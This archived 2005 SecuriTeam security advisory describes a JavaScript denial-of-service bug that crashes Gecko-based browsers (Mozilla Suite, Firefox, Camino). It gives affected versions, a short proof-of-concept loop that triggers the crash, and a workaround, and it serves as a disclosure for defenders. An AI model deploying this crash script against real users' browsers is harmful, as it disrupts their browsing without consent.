[NEWS] Gekco Browsers DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 06/30/05

  • Next message: SecuriTeam: "[NT] Microsoft Internet Explorer Javaprxy.dll COM Object Execution" 
    To: list@securiteam.com
Date: 30 Jun 2005 15:28:07 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Gekco Browsers DoS
    ------------------------------------------------------------------------

    SUMMARY

    A denial of service vulnerability in the Gekco based browsers (Mozilla
    suite, Firefox and Camino) allows attackers to crash the browser by
    crafting a special Javascript code.

    DETAILS

    Vulnerable Systems:
     * Mozilla Suite version 1.7.8
     * Firefox version 1.0.4
     * Camino version 0.8.4

    By using a specially crafted JavaScript function, it is possible to crash
    the above named browsers. The script can be executed both with and without
    user intervention.
    Proof of Concept:
    for (a = 0; a <= 20000; a++)
    {
      //Here is the special code that terminates the browser
       function(){};
    }
    //Displays an alert to notify the user if the browser is not vulnerable.
    alert("Good news - Your browser is not vulnerable.");

    Workaround:
    Disable Javascript for untrusted web sites.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:advisories@kurczaba.com>
    Kurczaba Associates.
    The original article can be found at:
    <http://www.kurczaba.com/html/security/0506241.htm>
    http://www.kurczaba.com/html/security/0506241.htm

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Microsoft Internet Explorer Javaprxy.dll COM Object Execution"

    Relevant Pages

    • [NEWS] Multiple Browsers Dialog Origin Vulnerability (Test)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... By crafting a special JavaScript code attackers can steal information from ... The problem is that JavaScript dialog boxes do not display or include ...
      (Securiteam)
    • [UNIX] Apple Safari JavaScript DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apple Safari JavaScript DoS ... Safari is a web browser developed by Apple Computer, ... An Infinite loop in JavaScript may cause a DoS condition on vulnerable ...
      (Securiteam)
    • [NEWS] Mozilla XPCOM Library Race Condition
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... XPCOM Race Condition: ... an access violation and result in a hard crash of the browser. ...
      (Securiteam)
    • [NT] Phishing for Opera
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Opera is "a cross-platform web browser". ... enough for the icon to seem as though it is the address bar itself. ...
      (Securiteam)
    • [NT] Buffer Overflow in WideChapter Browser
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WideChapter "is the most powerful multi ... Chapter multi tab web browser. ... WideChapter runs under Windows 98, Windows NT4, Windows ME, Windows 2000, ...
      (Securiteam)